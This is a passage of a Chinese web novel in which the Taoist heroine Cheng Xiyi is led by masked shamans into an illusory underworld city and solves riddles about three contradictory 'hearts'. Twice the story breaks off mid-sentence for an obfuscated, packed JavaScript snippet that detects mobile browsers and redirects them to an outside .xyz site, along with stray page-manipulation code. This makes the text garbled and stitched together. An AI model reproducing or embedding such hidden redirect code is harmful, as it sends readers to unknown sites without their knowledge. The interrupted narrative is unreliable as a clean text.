“你一个人威胁我们五个?”其中一个黄面具的人气愤地说。 “当然,”程希夷冷笑道,“如果你们想要一个活着的我去见你们天君的话。” “你!”黄面具的人动了气,正要上前。 “哎——”领头巫师伸手拦住他,唤来一蓝面具的巫师,“你来。” 蓝面具巫师出列,上前替杜文焕把脉问诊。 整个过程,程希夷都死死盯着他的动作。 “因从高处落下,划伤了背部,导致失血过多,幸而只是断了几根肋骨,没有磕到头,腿接上就好。” 蓝面具巫师又拿来随身携带的医箱,取出绷带和草药替他止血。 他手指灵活,三两下就将患处包扎好。随后又替杜文焕正骨。 忙活了半天,杜文焕虚弱的呼吸慢慢变得平缓。 “时间不等人,”领头的巫师说,“你已经看到他的医术,还不速速和我们走?” 程希夷看了一眼疼得咬紧牙关的杜文焕,呼出一口气,抬眼直视领头巫师,“好,我跟你们去!” 她最后交代蓝面具巫师:“既然我值得你们这么多人在此等候,想必我是你们天君的座上宾,治好他,不要对他下什么咒术。你们知道我是个道士,要是他身上有什么蛊之类的东西,我绝不放过你们!” 蓝面具巫师淡淡地看了她一眼,“除了遵从天君之外,我也是个救死扶伤的大夫,这一点我可以和你保证。” “好!”程希夷转身同他们一块进了一处洞穴,没再回头。 43. 杀阵(上) 程希夷随他们往前走,领头的黑面具巫师提着灯笼,左右一白一绿,黄面具的巫师则站在她旁边。 黑面具巫师领着他们过了不知道几道关卡,虽看起来轻轻松松,但程希夷猜想这一路一个走不对恐怕不是变成筛子就是又掉入坑洞中。 这一路他们没说半个字,连呼吸都几乎听不见,只听得到脚与地面摩擦发出的脚步声。 她的眼睛咕噜一转,忽然蹲地大叫一声:“哎呀!” “怎么了?”黑面具巫师停下了脚步却没有回头,他旁边的白面具巫师倒是反应很快,忙去察看程希夷。 “我脚痛。”程希夷捂着之前受伤的右脚踝,眉毛拧在一处,眼睛盯着地面,余光去瞄那几个站着不动的巫师,“我的脚之前就受了伤,又陷入你们这机关中,现在伤势加重,恐怕不能走去见你们天君了。” 还未等黑面具巫师说话,一直站在她旁边的黄面具巫师怒气冲冲地开口说:“你这小女娃又在耍什么把戏?刚才你们从那出来,你背上背着那官吏都走得好好的,现在这才几步就叫痛了?” 白面具巫师隔着布料摸了摸她的脚踝,说:“她的脚的确是伤了。” 得了他的证明,程希夷得意洋洋地看了一眼黄面具巫师,“我的确走不动了,方才不过是怕自己小命丢在那硬撑着罢了。如何,难道你们要拖着我这个瘸子去见你们天君么?” 程希夷说完这话,表面带着笑,内心却惴惴不安,她是在赌。 这几个巫师看起来地位不低,他们口中的“天君”派他们来接她,想必她在那位“天君”的眼中也是很重要的角色,她赌他们不会轻易伤害她。 这地方纵横交错,机关重重,方才她记下了黑面具巫师沿路打开机关的地方。 尽管回去的机关可能会有差异,但应该不难推断。 就算出去的机关真的推断错了,也可用那些机关与这些人同归于尽。 黑面具巫师听到她这番话,终于回过头来看着她,带着皱纹的眼睛眯了起来,幽暗的眼中闪着深邃的光,似乎能把一切心思看穿。 他吩咐左右:“把她抬起来,我们继续走。” 程希夷:“?” 没等她反应过来,就已经被人像抬尸体一样两人抓手,一人抓脚,离开了地面。 不是,好歹多说几句废话,好让她趁机激怒他们然后套话啊。 “我何德何能,”她说,“被你们这几位……位高权重的巫师这么没有风度地抬走。” “……” 没人回答她。 她仰面看着头顶那一片石壁,“让我猜一猜,你们不是普通的巫师。” 这不废话么?黄面具巫师白了她一眼,仍旧没说话。 程希夷看到了他的表情,笑了笑,说:“我听说最近几天天末国的使团会来京,而这赤县就是必经之地。这使团本该早就来到这赤县,可现在都还未有消息……” 听到“使团”二字时,即使隔着面具,程希夷还是看到黄面具巫师眼神中一闪而过的惊慌,她继续说:“我想不是使团没有到,而是他们早就到了,就在这赤县,这大柳树村,这地道之中。我说得对吗?” 说到最后,她言语中的指代愈发明显,声音也沉了下去。 其他几个巫师都明白了她的意思,齐刷刷看向领头巫师。 “你是个聪明人,”黑面具巫师说,他略显苍老的声音带着些许赞赏,“怎么发现的?” “很容易,”程希夷不以为意地说,“你们身上没有血腥气,但周围的怨气却不少。虽然你们在外面罩了一层袍子遮住你们的官服,但你们的靴子没有换,只有官吏会穿这种乌皮靴。之前你们派来的那两个巫师脚上就不是穿的这种靴子。 你们位高权重,那些肮脏的事不必亲自动手。又来得匆忙,没换衣裳。怎么,在这等着我是你们天君临时的命令?” “不错的观察,”黑面具巫师说,“若不是天君的命令,你今天就不能活着离开这里了。” 程希夷还要再套话,却听他说:“到了。” 随着一声响,程希夷被扔在地上,等她爬起来,那几个巫师已经不见了踪影。 她疑惑地看了看四周,只是一处与之前并无不同的洞穴而已。 在她的正前方,挂着一副足有一人高的画。 画中的人背对着她,他身上披着用鸟兽羽毛做成的袍子,头戴用犀角做成的冠,手持翎羽,半仰头,正在敬告天神。 他脚踏干裂的大地,头顶炎炎烈日。袍子上的羽毛熠熠生辉,如金丝银线般光滑,又如珠玉宝石一样璀璨。 画中那轮红日也仿佛活了似的,逐渐透出光亮来,连画外的程希夷也不由得抬手挡住眼睛。 就在她被这光照得头晕目眩之际,周围忽然多出念咒的声音。 她刚看见那几个不知道从哪跳出来的巫师,就在这一团光亮中晕了过去。 …… 极致的黑暗。 程希夷就在这黑暗中一直行走。 刚开始,她还感到害怕。 她可以摸到自己的脸、四肢和躯干,只是眼睛看不见。 她从自己的记忆中搜罗出认识的人,害怕地呼唤:“师尊,师尊?” 可是没有回音,甚至连自己声音的回响也没有。 在这个不知有多大的空间中,她只能继续往前走。 时间在这里仿佛停滞,又仿佛在流动。 她感觉过了很久,可是身体不会累也不会饿。 “谁来陪陪我。”她蹲下去抱住自己,被迫在这黑暗之中一点点品尝孤独的滋味。 她从前也见过这样漆黑的夜,也曾感受过不会累也不会饿的身体。 但那时候也有人在身旁。 “杜大人,你在哪里?” 她想念那黑夜中温暖的烛火和那个看似不近人情,实则十分温柔的人了。 周围给她的答案仍旧只是一片空寂。 她继续往前走,记忆慢慢在她身上褪去曾经的痕迹。 她从唤“师尊”、“杜大人”,到迷茫地喊“爹爹”、“娘亲”,再到最后唤无可唤。 不知道走了多久,她看见了前方的日光。 她跑过去,从那黑暗中出来的那一刻,终于看见了自己的手,以及散落的青丝、素白的衣裳和没有穿鞋的脚。 “这是在哪?”她自言自语道,但没有期望得到回答,在那黑暗中她习惯了只有自己一个人。 她抬头看向天空,一轮烈日高悬,炙烤着大地。 道路两侧的枯树伸出细瘦的枝条,像一个个渴死的人死前伸手想抓住太阳。 一群乌鸦盘旋在树冠上,但没有一只愿意落在树枝上,因为那会让它们的脚烫伤。 她雪白的脚板被滚烫的土地烫得通红,但她浑然不觉似的,继续往前走。 枯树尽头处,有一穿蓑戴笠的渔人正在撒网。 汗水从他裹得严实的额头上渗出,滴落在脚边已经像龟壳一样纵横的裂纹的土地上,还未渗入土中,已经被炙热的太阳烤干了。 她好奇地走过去,问:“这位渔家,这是旱地,怎么在这捕鱼呢?” 渔人将撒出的网一寸一寸收回,看起来十分费力,仿佛真的打捞到许多鱼似的。 她以为渔人没听见,又问了一遍。 渔人将网全部拉回,方才懒洋洋地回答:“这儿原本有一片大湖,湖中有绿藻、浮萍,鱼儿在湖中游来游去,周围的动物也喜欢来这喝水。这儿的鱼一条条都很肥美,我一天可以捞出十几条,做成鱼汤可鲜美啦!” 说着说着,他便丢开网,指一指这片旱地,又指一指那片旱地,“这里经常有大鱼,肉质一般但管饱,那边的鱼个头不大但肉质鲜美,卖给酒楼一下子就全卖光了……” “可是这里现在没有湖啊?”程希夷疑惑地戳破了他的幻想。 渔人瞳孔微缩,怔住了,复又看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她离开钓鱼老翁,正打算踏上那座桥,可脚刚点到木桥,它却突然塌陷下去,她半只脚陷入河中,烫得她快速缩回脚。 对,是烫。 那河面上层层的浮冰之下,是烧得滚烫的沸水,一个又一个热气泡伸出水面又很快破裂,方才见这水面缭绕的烟雾不是冷雾,而是热汽。 这沸腾的河水中却有游鱼,鱼呈赤色,红若珊瑚,鳞片在浮冰的折射下显得愈发光彩夺目。 它们小巧可爱,又极为怕人,人一凑近,就立刻四散,不见踪影。 程希夷一走开,那河上的木桥就又从河中浮出。 反复再三,她无论如何也不能踏上那座桥。 过不去,该怎么办呢? 程希夷正迷茫,远处从雾中来了个黑影,待它近了,才发现是一条船。 她心中一喜,正要登船,船夫用竿子把她一拦,伸手要钱:“过河铜钱三枚,童叟无欺。” “要钱?可我没有钱。”程希夷翻遍了身上,也没找到一枚铜钱。 “没钱?”船夫眉毛一挑,“没钱坐什么船啊?” 说着他就要撑竿离开。 程希夷可不想错过这唯一过去的机会,忙拦住他,说:“船家且等等,我去找钱。” 船夫见她可怜,动了恻隐之心,摸了摸自己两撇八字胡,说:“要不这样,你给我一条这河中的赤鱼,我就搭你过去。” 她连忙应下:“可以!” 可这生活在沸水中的赤鱼怎么会让她轻易抓到呢。 这河水望之深不见底,脚刚碰上这滚烫的水就要脱一层皮,她只好去找那垂钓老翁,求他给自己一条赤鱼。 “给你鱼?”垂钓老翁说,“也行,但你要先治好我脸上这大瘤子。” 程希夷说:“可我不是大夫,怎么治呢?” “这好办,”老翁指了指远处,说,“你去城中取一偏方就可。” 程希夷朝他所指方向看去,方才被一片浓雾笼罩的地方出现了一座小镇。 “什么偏方?” “取□□之贞心、贪官之廉心、暴君之仁心,放入陶罐,用这河中之水煎熬成膏,敷之即好。” 程希夷看着眼前愈发清晰的小镇,又看了看对岸,答应道:“好!” 随即往那小镇走去。 44. 杀阵(中) 她穿过薄雾走到镇口,那木头牌坊的字牌上题有“妄生城”三个大字。 但因长年累月雨水冲刷以及蚁虫啃咬,上头的字只能勉强看清楚,尤其是“生”字,被啃了一半,根据大概轮廓才能认得出来。 她走进城,这儿倒是比之前遇到人和物都要正常。 行人来去匆匆,偶尔驻足;沿路各色商贩努力叫卖,一见到客人上前便笑容满面地迎来送往。 那卖枫糖的,从锅中捞一勺糖浆浇在那薄油纸之上,按客人的要求做成不同形状。 那卖猪肉的,一身横肉,光着膀子张大嗓门对挑猪肉的妇人说最近生意不好做,猪仔又涨了几钱之类的话。 那卖布料的,铺上陈着各种颜色的布料,不分季节,由薄到厚皆有。看到珠翠满头的妇人,便极力推销冬衣布料,看到不施脂粉的妇人,则建议买夏天轻薄的布料。 在这儿似乎没有季节的区分,上一刻还见到一穿夏衣的,下一刻说不定与一裹得严严实实的人擦肩而过,而这里的人都对此习以为常,甚至不会停留半个眼神。 所以程希夷披头散发,一身素白衣裳倒没有引来多大关注。 她叫住一提着菜篮的妇人,询问:“这位大婶,请问此地官衙往哪走?” 那妇人被叫住后,脸上的表情有一瞬间的木然,仿佛被抽走了魂魄。 等了一会,妇人摇摇头,沉默地离开了。 程希夷感到奇怪,又问了几个人皆是如此,就好像不知说什么似的,跟镇上的其他人却能侃侃而谈。 莫非这地方十分排外? 突然一阵铜锣声从街道口传来,她回头一看,是几个差役正押着戴镣铐的女子浩浩荡荡地游街。 那女子双十年华,秉承绝代姿容,眉似远山,眼如秋波,身姿窈窕,微微蹙眉,如古画上捧心之西子,眉间愁绪又更添三分美。 程希夷盯着她看了又看,总觉得这眉眼有些许眼熟。 女子的手脚均戴着重重的镣铐,在那苦苦哀求他们放她走。 差役对她的哀求视若无睹,而周围的行人时有驻足观看的,却无一人替她求情或是询问缘由。 程希夷见她手腕处被镣铐压得通红,实在看不下去,拦住那群差役问:“几位官差大哥,这是在做什么?她不过是一普通女子,若是犯了罪,堂上审问就是了,也不必如此羞辱。” 不知道从哪蹿出个不懂事的女子,差役不满地翻了个白眼,“看她身后的牌子就知道了,别挡道!” 闻言,程希夷绕到后头,果真看到了她背着一大木牌,上写: “此女不守贞洁,一女侍二夫。” 其他路人也看到了这牌子,纷纷唾骂,更有甚者,从路边捡起不要的菜叶就往女子身上扔去。 程希夷离女子很近,但菜叶仿佛长了眼似的,没有一片落在她身上。 女子被砸得狼狈,但反而更显得楚楚可怜。 差役眼中这女子不知装出一副狐媚样子给谁看,呵斥道:“还不快走!” 程希夷不放心这女子,跟着队伍来到官衙。 堂上坐着一县令,他的模样颇为滑稽,看人时双眼一饧,精神萎靡,嘴边又长了个痣,痣上带着两撮毛。 他虽身穿深绿色圆领澜袍,衣上的纹饰却是铜钱,并不像阳世的官服纹饰。 有路人称他是“金钱豹”,程希夷问缘由。 原来这县太爷平日出门就喜欢穿金戴银,有人投其所好,送了他一件绣有铜钱的常服。 县太爷爱不释手,竟命家人将他所有衣裳都绣上铜钱纹。 不仅如此,他还将自己的孩子都改了名,文雅点的叫藕心、鲸文,随意点的便叫了货布、错刀,身边的四个小厮分别叫币、泉、布、刀。[注1] 这县太爷都掉进钱眼里了,你说可笑不可笑。 所以都给他起了个称号叫“金钱豹”,不仅因为他所穿衣物,而且也是因为他看见钱就像猎豹看见羚羊一样,双眼放光,非要把猎物收入囊中,捕猎才算结束。 没多久,从外进来两个男子,围绕美貌女子一左一右跪下。 人群中有人碎碎念:“看,她丈夫和奸夫都来了。” “奸夫都大摇大摆地过来了,这什么世道。” “哎呀,你没看到那个奸夫也长得一表人才么。长得如此相貌,想必是被那不要脸的妇人勾引的。” “她丈夫也生得一副好模样。女人就是水性杨花,见一个爱一个。这种丑事必要重重地判!” 见人都到齐了,县太爷一拍惊堂木,示意肃静,斥问:“下跪何人?” 从左到右依次回道:“草民唐生。” 美貌女子答:“民妇唐楚氏。” “草民季氏。” 县令斥道:“唐楚氏,唐生告你与奸夫合谋妄图毒害亲夫,可有此事?” 美貌女子答:“民妇所嫁实非所愿,而且夫婿早已弃我如敝履,但民妇实无害人之念,更未曾失节,望大人明察!” 县太爷又问唐生:“既然你指认妻子与奸夫谋你性命,可有证据?” 唐生呈上一帕子,上面题了四句诗。 “草民感染风寒,需时时服药,这楚氏本应在床前伺候,昨日上午却不见人影。草民撑着身体去找,谁知看到他二人在外院墙角处卿卿我我。草民躲在暗处隐而不发,待他二人离开后,便拾到了这手帕。” 县令一看,那四句诗是:“南山一桂树,上有双鸳鸯。千年长交颈,欢爱不相忘。”[注2] 唐生又说:“草民回家后愈发气愤,拿出房中宝剑,正欲一剑解决了那贱人。忽然想起这楚氏之前一直侍药,而草民这病却无起色,必是她搞的鬼。而这药渣便是证据,这其中掺杂了少量砒霜!” 他刚说完,县令还未说话,被指认为“奸夫”的季生开口了:“明府,草民有情要禀。” “说。” “草民与楚氏是青梅竹马,但无夫妻情缘,这念头便消了。唐生所见,不过是我与她辞别罢了。须知心中有疑,自然处处生疑。而且这砒霜乃是剧毒,唐生说自己才发现,却无半点中毒的迹象。可知这真假难辨,是非并不是在嘴上。” 唐生嘴硬道:“说不定是你们之前未曾下毒,今日决定置我于死地,却刚好被我发现了!” 季生冷笑地揶揄他:“那这还真是巧合,刚好就全被你发现了。” 县令听他们愈发激动,用惊堂木重重一拍,呵道:“肃静!” 季生与唐生都不说话了。 县令问那楚氏:“这帕子你作何解释?” “这帕子是民妇的,这上面的诗也是民妇所题。” 闻言,围观的人一阵喧嚷。 “我就说她不干不净的。” “没想到生得我见犹怜,骨子里却是个□□。” 堂上之人与这围观百姓的话,程希夷都听到了,她不明白楚氏为何要承认那帕子是她的,季生都已说明他二人并无苟且,她明明否认就好了。 只听楚氏又说:“这帕子与字具是民妇的,可这是旧帕子,一直被民妇放在衣箱里。民妇送一满是折痕的旧帕子给情夫,这未免太有违常理了。” 县令捻了捻胡须,正不知如何判,一旁的师爷朝他挤眉弄眼,一会看看他,一会看看跪着的唐生。 这师爷是帮他敛财的老手了,县令顿时意会,说:“此案尚有疑点,择日再审。但唐楚氏,你既已嫁人,却又瞒着丈夫私会外男,这与情夫藕断丝连的罪名是逃不掉的。来人,把唐楚氏与奸夫收押大牢。唐生,你先回去等候传唤吧。” “是!” 听了县令的判决,唐生喜笑颜开,季生与楚氏直喊冤枉,但判决已下,再无更改,二人都被衙役拖进了大牢。 围观的百姓见没热闹可看,都纷纷散去。 只有程希夷还停在原地,打算跟着县令去内堂看看。 她发现在这里,只要她不主动同人说话,别人几乎注意不到她。 所以她轻轻松松就进了内堂。 “金钱豹”县令啜饮了一口热茶,问一旁的师爷:“你方才那是什么意思?” 师爷拿出一盒子,谄媚地交给县令,说:“明府,这是唐生孝敬您的。” 县令打开一看,里头装的都是沉甸甸的白银,足有二百两之多。 县令眼前一亮,摸了摸那白花花的银子,“那他还真是有心了。” 师爷笑嘻嘻地说:“这下您知道该怎么判了吧。” 县令眼中满是贪婪,“哈哈,有银子这路不就宽了。” 二人正这么说话,突然从外来了个衙役,“明府。” “怎么了?”“金钱豹”将那盒子合上,问。 衙役说:“季生托人带了件东西,托我给您。” 说着,他也拿出了一个盒子。 “放这,你先下去吧。” “是。” 师爷说:“这礼来得慢了点。” “金钱豹”拿起那有些沉的盒子,嘴角压不住笑容,“这两个人都很懂事,师爷,你说我是帮谁呢?” 师爷弓着背,犯了难,“这倒是难说了,凡事讲究个先来后到,这唐生要更懂您的意思些。至于这季生,他自己现在也在牢里,这钱还要算上出狱的钱,反倒还不够呢。” “金钱豹”一打开那盒子,脸上的喜色更甚,“师爷,我看这次你说得不对了。” 师爷不懂他的意思,“您是说?” “金钱豹”给他看那盒子里头,一片黄澄澄的亮光闪过,师爷惊讶道:“竟都是黄金?!” “这下是真的难判了。” 师爷说:“依属下看,两个都不判。” “什么意思?” “判给任何一个,这都不满意。不如……” 师爷拉长声音,卖个关子,“不如两个都不判。” “金钱豹”摇摇头,不同意这个做法,“不好,不好,这岂不是让他们俩人财两空,到时候事情闹大了怎么办?” “哎,明府,您不知道,这次涉案的几人都不简单。” “哦?怎么个不简单法?”县令只对钱感兴趣,这次嫌犯也不过是照例升堂,本就打算随意判判,还未曾来得及细究。 “您可知当今皇帝之前在民间选美,看上了一女子,谁知这女子为了不进宫很快就嫁人了吗?” 县令:“本官听说确有此事,这与这件事又有什么关系?” “这楚氏就是那女子。” “什么?”县令讶异道,“皇宫清福不去享,倒草草嫁给了一平民,却因忘不了昔日情郎,偷偷私会。这图什么?” “这其中倒还有一段牵扯。”师爷说。 “什么?” “本来娶她的是同她一块长大的季生,谁知这季生被摆了一道,倒是让这唐生插足娶了楚氏。” “看样子他们之间的恩怨情仇由来已久。” “可不是,判给任何一个人,另一人说不定便要闹事。照属下看,不如让这楚氏自我了断,也可得个贞洁烈妇之名。” “金钱豹”赞许地点了点头,“你果然是个好师爷。放心,成事之后,这钱也少不了你的。” “多谢明府。” 程希夷见他们一副丑恶嘴脸,为钱谋夺他人性命,心中思忖:这县令确实是贪官,心肯定是黑心,哪里会有廉心呢?而那楚氏倒像是被诬告的,身虽被认为不守妇道,心却是贞洁的。取她的心一定没错。 打定主意,程希夷来到大牢中,正好听到有人在说话。 季生说:“没想到我只是向你辞行,就连累了你。” 楚氏说:“不是这件事,唐生还会找别的理由。他外表温和内心凶狠,决心要将这罪名安在我身上,不是你也会是别人。” 季生不解:“他为什么要这么做,他不是一向很喜欢你么?” 楚氏自嘲地笑笑,“恩情易忘,这是常事。” 季生气愤地说:“若是我,就不会……”话到一半,他就住了嘴。 如今又哪有假设呢? 楚氏显然也明白这个道理,与他相顾无言。 程希夷站出来,说:“是非恩怨转头空,情欲徒添嗔痴,你们二人又何必在这上面执着。” 楚氏见突然出现一白衣女子,吓了一跳,问:“你是谁?” “我……”程希夷被这问题问住了,她不知道自己是谁,“你不必管我是谁,我来是与你做个交易的。” “什么交易?” “我要你的心脏,”程希夷直言不讳,“但我可以替你杀了那县令报仇,顺便把你这情郎救出去。” “什么?”楚氏懵了,“什么心脏,你要杀了我?” 程希夷沉吟了一会,毕竟她说的没错,没了心脏人就会死。 她不愿夺人性命,只是这是她过河的必要代价。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13403594|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 为什么要过河?因为她感觉那边有很重要的东西在等她。 “是,的确是这个意思。” 闻言,楚氏嗤笑道:“你难道不知道这镇子里的人都已经死了,哪里有心脏?” “你说什么?”程希夷瞪大了眼睛,她不敢置信地上下打量楚氏,“这么说你也是?” “是,我也不是活人。”楚氏一改之前柔弱的作风,脸上那股愁苦劲也不见了,“姑娘,你不是我们这里的人吧?” “我……” 楚氏笑了笑,开了牢门走出来,她说:“这儿是阴阳交界处,你来时应该看到城门口那块字牌了。妄生妄生,这里的‘人’都想继续过阳世的生活,所以约定各自扮演阳间的角色,不管是好人是坏人,演得越逼真,牵扯的因果便越多,积累多了就可去那阴司投胎。” 程希夷回想这一路碰到的‘人’,“难怪我问别人,他们都不大理会我。可你为什么会告诉我这些?” 楚氏说:“告诉你是因为你虽有自己的目的,但也有善心。我不忍心让你困在这迷障之中,徒劳而返。你可以跟我说说你要这人心的原因,或许我可以指点你一二。” 程希夷告诉她:“我去那阴司要过一条河,船夫让我取一条赤鱼充做船费,而那钓鱼的老翁交换的条件是让我治好他脸上的瘤子,药方就是熬煮这□□之贞心、贪官之廉心、暴君之德心。” 楚氏听完,说:“这东西未必是真的人心,你可往箴言悟道的方向去想。等你参悟那瘤子的隐喻,或许就明白了。” “参悟?”程希夷不是很懂她的意思。 楚氏没再多说,只是提醒她:“不如留下来将我们这出戏看完。” 说完,她又回了牢房,一切就跟之前没什么不同。而那季生见她回来,又继续同她演那戏码。 程希夷明白楚氏的意思是让她不要插手,只可旁观,可那参悟是什么意思呢? 她一路走来怪异之事碰到不少,不仅不符合常理,而且处处有所暗示,就好像有人专门布置这些给她看。 如果是的话,那个人的目的究竟是什么呢? 她迷茫地走出县衙,来到大街上。 大街上的人来来往往,熙熙攘攘,好一番热闹的景象,就像是真的阳世一样。 阳世?她也是鬼魂吗,那她是怎么死的,怎么会到这里来,生前的记忆她一点也想不起来了。 她盯着自己的袖子出神,那儿被阳光染成一层薄薄的金色。 如果这是阴间,她为什么能碰到阳光呢? 她抬头看向天空,那儿挂着的并不是太阳,而是一枚椭圆形的蛋,蛋里缓缓有金光溢出,壳中有一小生命在蠕动,像是长了翅膀的鸟。 金乌?不,这种东西不应该出现在阴间。它一旦破壳,这儿所有的鬼魂都会灰飞烟灭的。 这里到底是什么地方,为什么出现这么多自相矛盾的东西。 自相矛盾,钓鱼翁的药方…… 她正出神思索,忽被推了一把,踉跄了几步方站稳了身子。 她气得正要质问,却看到一顶轿子从她面前走过。 这轿子四周用轻薄的纱幔遮住,轿上坐着一头戴旒冕,身着衮衣的男子,几个腰佩大刀的兵士在前开路,轿子周围又有随行的内侍和宫女。 那是皇帝? 只见皇帝一行人一路往县衙行去,程希夷不知他们要再起什么波澜,便好奇地跟着前去。 …… 县衙前,被称作“金钱豹”的县令正准备将毒药交给狱卒,却听到外头极响的铜锣声,“这是怎么回事?” 一衙役连滚带爬地跑进来禀告:“大,大人,外头皇帝,皇帝来了!” “什么?!”县令从太师椅上惊坐起,手上的毒药滑落,撒了一地。 他顾不得毒药,忙道:“快随我去迎接!” 县衙外,县令双手双脚并用,一见那轿子就慌忙跪下,衣摆都还未提起,就与地面接触了个严严实实。 “下官拜见陛下!” “嗯,你起来吧。” “谢陛下。” 内侍将纱幔拨开,皇帝被扶着缓缓下轿。 程希夷原本在平静地看戏,一见那皇帝的装束,不由得想笑出声来,还好勉强忍住了。 原来方才被纱幔遮挡,这旒冕衮衣隐隐约约,倒还像那么一回事,而这皇帝一下轿,身上的衣裳配饰材质暴露无遗。 原来那旒冕衮衣皆是纸做的,只是撒了层金粉,而那皇帝趾高气昂,浑然不觉,活像个刚从戏台上下来的纸人皇帝。 周围的人也不觉得奇怪,都一副不敢直视的肃穆模样。 程希夷不禁心想,这阴间排演这些剧目竟也会缺钱做龙袍么? 皇帝随县令入了府衙,程希夷跟了上去。 一入内堂,皇帝就直入主题,说:“听说你这县衙的大牢内关了一个绝色佳人。” 县令回道:“是有这么一个妇人。” “朕要在此处大选美女,你暗中将她送入宫,充当秀女。” “什么?”这下不仅是程希夷惊讶,连县令都惊到了。 县令说:“可,可是陛下,这妇人不贞不节,实难侍奉龙身啊。” 皇帝笑道:“朕那后宫佳丽的容貌皆比不上这女子,纵是已经嫁人的妇人,以她的容貌,即使放在冷宫中也可赏心悦目。不要多言,速速去办。” 县令只好应道:“是。” “还有,”皇帝说,“宫中正建造宫殿给新进的嫔妃,国库空虚,你这里土地富饶,居民和乐,这赋税加重一些想必也不妨事。” “这……”县令抬起头,哭诉道,“可陛下,这连年增加赋税,百姓已经几乎承担不起了。望陛下三思啊。” 皇帝闲闲地拿起县令放在一旁装有银两,还未来得及收好的盒子,眼神锐利,“百姓没有,你也会有。朕可听说过卿家囊中贪了不少民脂民膏,百姓私底下就称你为‘金钱豹’。此前朕不与你计较,但现在……” 皇帝的意思已经很明白了,县令吓得脚一软,瘫坐在地上。 钱财对他来说如同命根子,但要是不交出来,自己的命却真的留不住了。 君王是天下最贪的贪官,相比于他,这县令“金钱豹”之名倒有点名不副实了。 看着横征暴敛的皇帝和不得不拿出家财的贪官,程希夷似乎有点明白所谓的隐喻箴言是什么意思了。 45. 杀阵(下) 程希夷不再理会他们,出了县衙,往城外走去。 她要去解开钓鱼老翁出的这个谜题。 路上的行人依旧来往不绝,街上如热闹集市一般,刚来时她还好奇地打量那些摊子,现在她反而没这个心思了。 她如同幻影从路人身边穿梭而过,小摊和商铺也只在她匆匆一瞥中留下短暂的印象。 忽然,一声清脆的银铃响穿透人群流入耳中。 转过头,是一个卖首饰的小摊,摊主是个老婆婆。 摊上各色钗环、项链、玉镯、臂钏等等,其中有一枚坠着铃铛的银锁。 她不自觉被它吸引住了,走过去拾起那枚银锁,上头银光闪动,刻有“富贵长命”四字,下坠四枚小银铃,是一枚刚被打造出来没多久的银锁。 老婆婆见程希夷对它爱不释手,忙说:“姑娘,这银锁给孩子佩戴可保平安。” 它新而亮,连一点擦痕都没有,程希夷打量了又打量,失望地摇摇头,“它不是我要的那枚银锁。” 她刚才恍惚一瞬间闻到了血腥气,还以为是从银锁上传来的,可现在又没有了。 这里真是古怪。 她有点不安地将银锁放下,离开了首饰摊。 她好像忘记了很重要的东西,可是是什么呢? 鬼魂忘记前尘并不是坏事,那意味着一切恩怨放下,一切重新开始,这对执着于红尘的凡人来说是再好不过的事。 可看到这银锁的时候,她的胸口仿佛坠了重物似的十分难受,这种奇怪的感觉给了她一种还活着的错觉。 不过当务之急还是去河对岸投胎转世,她不再乱想,离开了这座妄生城。 她一离开,身后的妄生城又陷入一片浓浓的迷雾中。 那个钓鱼老翁仍在原地等她来,脸上那个馒头大的瘤子依旧可怖,然而程希夷不再被吓到。 在她的眼中,那颗瘤子已经不仅仅是一颗肉瘤,而更是别的东西,或者是,一种象征。 钓鱼老翁看见她来了,将手中鱼竿放到一边,问:“小姑娘,你找到药了吗?” 他又见程希夷手中空空,说:“没找到?没找到老朽这赤鱼可不能给你。” 程希夷没被这话吓到,微微一笑,说:“老人家,不用您的药方是因为我这更有良药。” 钓鱼老翁虽不满她不用自己的药方,但也有些好奇她所说的药方,“是什么?” 程希夷说:“取这河中沸水和浮冰,烹煮赤鱼,将鱼汤全部服用即好。” “这不可能!”钓鱼老翁瞪大眼睛看着她,似乎她说了什么不可思议的话,他结结巴巴地说,“这鱼是,是……” 这反应是意料之中,程希夷替他回答:“是人对不对?” 听完这话,钓鱼老翁愣在原地。 “或者说,是人的魂魄。”程希夷走到河边,看那河中赤鱼不知危险地在水里自在地悦动,“而这条河,是象征人世间水火的长河,让赤鱼困于其中。除非等你将它们钓上来,投入那妄生城中。我说得对吗?” 那老翁已经懵住了,他眉头簇在一起,瘤子挤压住那半边脸,显得又丑又滑稽。 程希夷见他不说话,兀自说:“那妄生城中,虽有人间的模样,但处在其中的魂魄根本没有自己的想法,只是按给的剧目扮演,等待着一个所谓的‘转生为人’的机会。你让我去那城中找三颗自相矛盾的心,是为了让我困在那里,然后成为那金乌的养料吧?” “那不是金乌,”一直沉默的垂钓老翁终于开口了,“是九头鸟。” “九头鸟……”程希夷不解,“养这东西做什么?” 钓鱼老翁没回答她的问题,而是说:“你还没解开全部的谜题,还不能离开这里。那三颗心脏确实是治这瘤子的良方,你就算点破老朽的目的,也掩盖不了你没找到的事实。” 程希夷微微摇了摇头,抬眼看向河对岸迷雾之中,仿佛真的从中看到河岸,又看向岸边那摆渡的船夫,背对着老翁道:“我找到你所说那三颗心了。” “这不可能!”老翁断然否定了她,“没有人可以找到,就算是天君也……” 说到后面,他的声音渐弱,但程希夷还是听清了他后半句话。 “天君?果然有人派你守在此地,”程希夷瞄了一眼老翁,说,“可他没有告诉你,这城中之魂已有了自己的心智了吧?” “这怎么可能!”老翁眼神闪动,“这些无主的游魂怎么会有自己的心智!” 程希夷笑他孤陋寡闻,“要不是他们的提醒,你猜我为什么没带来你要的那三颗心就出了城,还破了这些暗喻?你若真要那确实的心脏,不如随我进城去取,你所找的他们如今可都快幻化成人了。” “鬼怎么可能会有心,你是骗我的!” 